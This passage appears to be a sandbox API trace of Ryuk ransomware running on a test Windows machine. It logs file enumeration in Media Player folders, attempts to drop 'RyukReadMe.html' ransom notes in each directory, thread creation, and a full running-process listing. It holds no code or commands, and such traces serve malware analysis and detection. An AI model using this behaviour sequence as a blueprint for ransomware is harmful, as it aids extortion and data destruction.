	[0283.813] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x200, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1
	[0283.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964
	[0283.814] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.815] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x200, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1
	[0283.815] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968
	[0283.817] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.817] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x200, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1
	[0283.818] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0283.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c
	[0284.058] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.059] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x200, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1
	[0284.059] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0284.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c
	[0284.061] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.061] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x200, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1
	[0284.061] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0284.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980
	[0284.063] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.063] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x200, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1
	[0284.063] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0284.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984
	[0284.065] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.066] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x200, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1
	[0284.066] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2830000
	[0284.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988
	[0284.068] VirtualFree (lpAddress=0x2830000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.069] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x200, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0
	[0284.069] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0284.071] SetLastError (dwErrCode=0x0) 
	[0284.071] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.071] GetLastError () returned 0x3
	[0284.071] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0284.071] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.071] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 0
	[0284.072] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0284.072] SetLastError (dwErrCode=0x0) 
	[0284.072] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c
	[0284.072] GetLastError () returned 0xb7
	[0284.072] CloseHandle (hObject=0x91c) returned 1
	[0284.072] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0284.073] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0284.073] SetLastError (dwErrCode=0x0) 
	[0284.073] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0284.073] GetLastError () returned 0xb7
	[0284.073] CloseHandle (hObject=0x918) returned 1
	[0284.073] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1
	[0284.073] SetLastError (dwErrCode=0x0) 
	[0284.073] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0284.074] GetLastError () returned 0xb7
	[0284.074] CloseHandle (hObject=0x918) returned 1
	[0284.074] FindFirstFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x18cd50) 

Thread:
	id = 7
	os_tid = 0x924


Thread:
	id = 8
	os_tid = 0x934


Thread:
	id = 10
	os_tid = 0x964


Thread:
	id = 12
	os_tid = 0x998

	[0130.786] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x168
	[0130.818] Process32FirstW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0130.822] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0130.825] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0130.828] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0130.831] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0130.979] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0130.982] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0130.985] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0130.989] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0130.992] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0130.997] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.000] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.004] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.007] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.010] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.013] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0131.016] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.164] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.167] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0131.170] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0131.173] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0131.177] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0131.180] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.183] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0131.186] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.189] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0131.193] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0131.196] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0131.199] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0131.202] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0131.205] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0131.347] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0131.350] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0131.353] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0131.357] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0131.360] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0131.364] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0131.367] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0131.371] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0131.374] Process32NextW (in: hSnapshot=0x168, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
